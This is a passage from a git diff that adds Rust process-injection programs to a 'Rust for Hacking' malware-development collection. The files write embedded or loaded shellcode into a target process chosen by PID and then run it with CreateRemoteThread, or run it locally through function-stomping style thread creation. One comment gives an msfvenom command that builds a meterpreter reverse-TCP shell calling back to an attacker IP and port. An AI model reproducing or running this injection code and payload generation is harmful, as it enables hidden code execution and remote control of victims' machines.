format!($msg, $($arg),*));+ }+}++macro_rules! error{+ ($msg:expr, $($arg:expr), *) => {+ println!("\\____[-] {}", format!($msg, $($arg), *));+ println!("Exiting ...");+ std::process::exit(0);+ }+}++fn main(){+ let buf: [u8; 503] = [0x48,0x31,0xc9,0x48,0x81,0xe9,0xc6,+ 0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff,0xff,0xff,0x48,0xbb,+ 0x90,0x2a,0x5b,0x02,0xfe,0x59,0xda,0xcc,0x48,0x31,0x58,0x27,+ 0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0x6c,0x62,0xd8,0xe6,+ 0x0e,0xb1,0x1a,0xcc,0x90,0x2a,0x1a,0x53,0xbf,0x09,0x88,0x9d,+ 0xc6,0x62,0x6a,0xd0,0x9b,0x11,0x51,0x9e,0xf0,0x62,0xd0,0x50,+ 0xe6,0x11,0x51,0x9e,0xb0,0x62,0xd0,0x70,0xae,0x11,0xd5,0x7b,+ 0xda,0x60,0x16,0x33,0x37,0x11,0xeb,0x0c,0x3c,0x16,0x3a,0x7e,+ 0xfc,0x75,0xfa,0x8d,0x51,0xe3,0x56,0x43,0xff,0x98,0x38,0x21,+ 0xc2,0x6b,0x0a,0x4a,0x75,0x0b,0xfa,0x47,0xd2,0x16,0x13,0x03,+ 0x2e,0xd2,0x5a,0x44,0x90,0x2a,0x5b,0x4a,0x7b,0x99,0xae,0xab,+ 0xd8,0x2b,0x8b,0x52,0x75,0x11,0xc2,0x88,0x1b,0x6a,0x7b,0x4b,+ 0xff,0x89,0x39,0x9a,0xd8,0xd5,0x92,0x43,0x75,0x6d,0x52,0x84,+ 0x91,0xfc,0x16,0x33,0x37,0x11,0xeb,0x0c,0x3c,0x6b,0x9a,0xcb,+ 0xf3,0x18,0xdb,0x0d,0xa8,0xca,0x2e,0xf3,0xb2,0x5a,0x96,0xe8,+ 0x98,0x6f,0x62,0xd3,0x8b,0x81,0x82,0x88,0x1b,0x6a,0x7f,0x4b,+ 0xff,0x89,0xbc,0x8d,0x1b,0x26,0x13,0x46,0x75,0x19,0xc6,0x85,+ 0x91,0xfa,0x1a,0x89,0xfa,0xd1,0x92,0xcd,0x40,0x6b,0x03,0x43,+ 0xa6,0x07,0x83,0x96,0xd1,0x72,0x1a,0x5b,0xbf,0x03,0x92,0x4f,+ 0x7c,0x0a,0x1a,0x50,0x01,0xb9,0x82,0x8d,0xc9,0x70,0x13,0x89,+ 0xec,0xb0,0x8d,0x33,0x6f,0xd5,0x06,0x4b,0x40,0x2e,0xa9,0xfe,+ 0xcf,0x19,0x69,0x02,0xfe,0x18,0x8c,0x85,0x19,0xcc,0x13,0x83,+ 0x12,0xf9,0xdb,0xcc,0x90,0x63,0xd2,0xe7,0xb7,0xe5,0xd8,0xcc,+ 0x91,0x91,0x9b,0xaa,0x98,0x43,0x9b,0x98,0xd9,0xa3,0xbf,0x4e,+ 0x77,0xa8,0x9b,0x76,0xdc,0x5d,0x7d,0x05,0x01,0x8c,0x96,0x45,+ 0x7a,0x42,0x5a,0x03,0xfe,0x59,0x83,0x8d,0x2a,0x03,0xdb,0x69,+ 0xfe,0xa6,0x0f,0x9c,0xc0,0x67,0x6a,0xcb,0xb3,0x68,0x1a,0x84,+ 0x6f,0xea,0x13,0x8b,0x3c,0x11,0x25,0x0c,0xd8,0xa3,0x9a,0x43,+ 0x44,0xb3,0xd5,0x13,0x70,0xd5,0x8e,0x4a,0x77,0x9e,0xb0,0xdc,+ 0xd1,0x72,0x17,0x8b,0x1c,0x11,0x53,0x35,0xd1,0x90,0xc2,0xa7,+ 0x8a,0x38,0x25,0x19,0xd8,0xab,0x9f,0x42,0xfc,0x59,0xda,0x85,+ 0x28,0x49,0x36,0x66,0xfe,0x59,0xda,0xcc,0x90,0x6b,0x0b,0x43,+ 0xae,0x11,0x53,0x2e,0xc7,0x7d,0x0c,0x4f,0xcf,0x99,0xb0,0xc1,+ 0xc9,0x6b,0x0b,0xe0,0x02,0x3f,0x1d,0x88,0xb4,0x7e,0x5a,0x03,+ 0xb6,0xd4,0x9e,0xe8,0x88,0xec,0x5b,0x6a,0xb6,0xd0,0x3c,0x9a,+ 0xc0,0x6b,0x0b,0x43,0xae,0x18,0x8a,0x85,0x6f,0xea,0x1a,0x52,+ 0xb7,0xa6,0x12,0x81,0x19,0xeb,0x17,0x8b,0x3f,0x18,0x60,0xb5,+ 0x5c,0x15,0xdd,0xfd,0x2b,0x11,0xeb,0x1e,0xd8,0xd5,0x91,0x89,+ 0xf0,0x18,0x60,0xc4,0x17,0x37,0x3b,0xfd,0x2b,0xe2,0x2a,0x79,+ 0x32,0x7c,0x1a,0xb8,0x58,0xcc,0x67,0x51,0x6f,0xff,0x13,0x81,+ 0x3a,0x71,0xe6,0xca,0xec,0x20,0xdb,0xf9,0x1e,0x2c,0xdf,0x77,+ 0xd7,0x39,0x29,0x6d,0x94,0x59,0x83,0x8d,0x19,0xf0,0xa4,0xd7,+ 0xfe,0x59,0xda,0xcc];++ unsafe{+ let pid = std::env::args().nth(1).expect("Please provide the process ID as argument").parse::<u32>().expect("Invalid process ID");++ let process_handle = OpenProcess(0x000F0000 | 0x00100000 | 0xFFFF, 0, pid);++ if process_handle.is_null(){+ error!("OpenProcess Error : {:?}",GetLastError());+ }++ okey!("OpenProcess: {:?}",process_handle);++ let remote_buffer = VirtualAllocEx(+ process_handle,+ null_mut(),+ buf.len(),+ MEM_RESERVE | MEM_COMMIT,+ PAGE_EXECUTE_READWRITE,+ );++ if remote_buffer.is_null(){+ error!("VirtualAlloc Error {:?}",GetLastError());+ }++ okey!("VirtualAlloc {:?}",remote_buffer);++ WriteProcessMemory(+ process_handle,+ remote_buffer,+ buf.as_ptr() as LPVOID,+ buf.len(),+ null_mut(),+ );++ let _remote_thread = CreateRemoteThread(+ process_handle,+ null_mut(),+ 0,+ std::mem::transmute(remote_buffer),+ null_mut(),+ 0,+ null_mut(),+ );++ CloseHandle(process_handle);+ }+}diff --git a/Rust for Hacking/Process Injection/shellcodeExec_1.rs b/Rust for Hacking/Process Injection/shellcodeExec_1.rsnew file mode 100644index 0000000..512ce8a--- /dev/null+++ b/Rust for Hacking/Process Injection/shellcodeExec_1.rs@@ -0,0 +1,114 @@+/*++For more Rust Codes : https://github.com/Whitecat18/Rust-for-Malware-Development.git++Code to inject and execute shellcode into a remote process specified by its PID that runs in the same process PID !.+This is just an Example demo i have written in. you can create your own shellcode you need! . This program allows all kinds of shellcode !++Example i used to generate dummy shellcode for just Demo purpuse . you can use the same format!++`+msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.102.93 LPORT=4444 EXITFUNC=thread -f raw --var-name=Smukx -o shellcode.bin+`+By Smukx++*/+const OKI: &str = "[+]";+// const MIS: &str = "[-]";+++use std::{env::args, ptr::null_mut, u64::MIN};++//ntdef::NULL+use winapi::{+ shared::minwindef::LPVOID,+ um::{errhandlingapi::GetLastError, handleapi::CloseHandle,+ winbase::INFINITE,+ memoryapi::{VirtualAllocEx, WriteProcessMemory},+ processthreadsapi::{CreateRemoteThreadEx, OpenProcess},+ synchapi::WaitForSingleObject,+ winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PROCESS_ALL_ACCESS}+}};++// type LpthreadStartRoutine = unsafe extern "system" fn(lp_parameter: LPVOID) -> DWORD;++fn main(){+ let pid_inp = args().collect::<Vec<String>>();++ if pid_inp.len() != 2{+ panic!("{} Provide Proper PID", OKI);+ }++ let pid = pid_inp[1].parse::<u32>().expect("Provide Proper input !");+ println!("{} PID: {}", OKI, pid);++ let shellcode = include_bytes!("../shellcode.bin");++ unsafe{+ let process = OpenProcess(+ PROCESS_ALL_ACCESS,+ false as i32,+ pid+ );++ if process.is_null(){+ panic!("{} Failed to create an Process {}", MIN, GetLastError());+ }++ println!("{} Process Has been allocated: {:?}",OKI,process);+++ let buffer = VirtualAllocEx(+ process,+ null_mut(),+ shellcode.len(),+ MEM_RESERVE | MEM_COMMIT,+ PAGE_EXECUTE_READWRITE,+ );++ if buffer.is_null(){+ panic!("{} Failed to Allocate to Process Mem. Error: {}",OKI,GetLastError());+ }++ println!("{} Allocated Buffer sise: {:?}",OKI,buffer);+++ let mut bytes: usize = 0;++ let result = WriteProcessMemory(+ process,+ buffer,+ shellcode.as_ptr() as LPVOID,+ shellcode.len(),+ &mut bytes,+ );++ if result == 0 || bytes != shellcode.len(){+ panic!("{} Failed to write the shellcode to the remote process. Error:{}",OKI,GetLastError());+ }++ // dummy thread id -> Found an alternet way !!+ // let tid: DWORD = NULL;+ let rem_thread = CreateRemoteThreadEx(process,+ null_mut(),+ 0,+ std::mem::transmute(buffer),+ null_mut(),+ 0,+ null_mut(),+ null_mut(),+ );++ if rem_thread.is_null() {+ panic!("{} Failed to create remote thread. Error : {}",OKI,GetLastError());+ }++ println!("{} Got an Handle to the Remote thread: {:?}",OKI, rem_thread);++ WaitForSingleObject(rem_thread, INFINITE);+ CloseHandle(rem_thread);+ println!("{} Cleaning UP Thread ",OKI);+ CloseHandle(process);+ println!("{} Cleaning UP Process",OKI);+ }+}\ No newline at end of filediff --git a/Rust for Hacking/Process Injection/stomping_injection.rs b/Rust for Hacking/Process Injection/stomping_injection.rsnew file mode 100644index 0000000..0bbae71--- /dev/null+++ b/Rust for Hacking/Process Injection/stomping_injection.rs@@ -0,0 +1,152 @@+/*+ Function CUSTOM Stomping Injection+ Resource Used:+ MSDOCS+ https://github.com/Idov31/FunctionStomping+ @5mukx+*/++// # This Program and its POC are Different from others.+// Let me explain line by line+//+macro_rules! error {+ ($msg:expr) => {+ println!("[-] {}", format!($msg));+ println!("Process Exited Due to Error");+ std::process::exit(0);+ }+}++use std::{+ ffi::c_void,+ ptr::{copy, null, null_mut},+};++use std::mem::transmute;++const SHELLCODE: [u8; 276] = [+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,+];++/*+ * declaring winapi functions using extern "system" ?++ Wait what is extern "system" ?++ * The extern keyword is used to declare functions that are defined outside of Rust, typically in C or C++ libraries.+ * The "system" ABI (Application Binary Interface) specifies that the function follows the calling conventions used by+ the system, which is important for ensuring correct function calls between Rust and system libraries.++ Wait this means that you dont need to import creates like winapi or windows ?!+ * YES: extern "system" allows you to declare and call functions directly from the system libraries that was written in C/C++.+ like those provided by windows os.+ *++*/+extern "system" {+ // declaring function signatures.+ fn LoadLibraryA(lpLibFileName: *const u8) -> *mut c_void;+ fn GetProcAddress(hModule: *mut c_void, lpProcName: *const u8) -> *mut c_void;+ fn VirtualProtect(lpAddress: *mut c_void, dwSize: usize, flNewProtect: u32, lpflOldProtect: *mut u32) -> i32;+ fn CreateThread(+ lpThreadAttributes: *const c_void,+ dwStackSize: usize,+ lpStartAddress: unsafe extern "system" fn(*mut c_void) -> u32,+ lpParameter: *mut c_void,+ dwCreationFlags: u32,+ lpThreadId: *mut u32,+ ) -> *mut c_void;+ fn WaitForSingleObject(hHandle: *mut c_void, dwMilliseconds: u32) -> u32;+}++const PAGE_EXECUTE_READWRITE: u32 = 0x40;+const PAGE_READWRITE: u32 = 0x04;+const INFINITE: u32 = 0xFFFFFFFF;++unsafe extern "system" fn shellcode_thread(_: *mut c_void) -> u32 {++ let func_ptr = transmute::<_, *mut c_void>(SHELLCODE.as_ptr());++ let mut oldprotect = 0u32;+ if VirtualProtect(func_ptr, SHELLCODE.len(), PAGE_READWRITE, &mut oldprotect) == 0 {+ error!("[!] VirtualProtect (1) Failed");+ }++ copy(SHELLCODE.as_ptr(), func_ptr as *mut u8, SHELLCODE.len());++ if VirtualProtect(func_ptr, SHELLCODE.len(), PAGE_EXECUTE_READWRITE, &mut oldprotect) == 0 {+ error!("[!] VirtualProtect (2) Failed");+ }++ let hthread = CreateThread(+ null(),+ 0,+ transmute(func_ptr),+ null_mut(),+ 0,+ null_mut(),+ );++ if hthread.is_null(){+ error!("[!] CreateThread Failed");+ }++ WaitForSingleObject(hthread, INFINITE);++ 0+}++fn main() {+ unsafe {++ let library_name = b"user32.dll\0";+ let function_name = b"MessageBoxA\0";++ // Loading user32.dll library+ let h_module = LoadLibraryA(library_name.as_ptr());+ if h_module.is_null() {+ error!("[!] LoadLibraryA Failed");+ }++ // Calling GetProcAddress to receive the address of the MessageBoxA from the lib+ let func = GetProcAddress(h_module, function_name.as_ptr());+ if func.is_null() {+ error!("[!] GetProcAddress Failed");+ }++ // stores the handle to the created thread+ let hthread = CreateThread(+ null(),+ 0,+ shellcode_thread,+ null_mut(),+ 0,+ null_mut(),+ );++ if hthread.is_null() {+ error!("[!] CreateThread Failed");+ }+ // Wait until the thread execution Finishes+ WaitForSingleObject(hthread, INFINITE);+ }+}+